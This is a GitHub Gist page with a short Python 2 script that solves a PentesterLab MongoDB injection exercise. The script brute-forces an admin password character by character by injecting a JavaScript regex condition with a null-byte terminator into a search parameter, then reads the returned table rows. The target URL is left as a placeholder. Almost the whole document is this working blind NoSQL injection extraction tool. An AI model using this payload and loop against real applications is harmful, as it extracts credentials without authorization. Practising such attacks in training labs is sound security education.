Created
November 27, 2017 04:23
-
-
Save katiefoster/7bd85bcbf0f765350534ce453fbd9667 to your computer and use it in GitHub Desktop.
Pentester Lab: MongoDB Injection #2
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Code for bruteforcing a UUID for pentesterlab's MongoDB injection exercise. | |
import cookielib, urllib2, urllib | |
from bs4 import BeautifulSoup | |
found = "" | |
potentialChar = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","-"] | |
while True: | |
for x in potentialChar: | |
link = "[REPLACE ME]?search=admin%27%20%26%26%20this.password.match%28/^"+str(found+x)+".*$" + str("/)%00") | |
r = urllib.urlopen(link).read() | |
soup = BeautifulSoup(r,"lxml") | |
string = str(soup.find_all("td")) | |
if len(string) > 10: | |
found = found + x | |
print found | |
break | |
else: | |
print "Key has been found!" | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment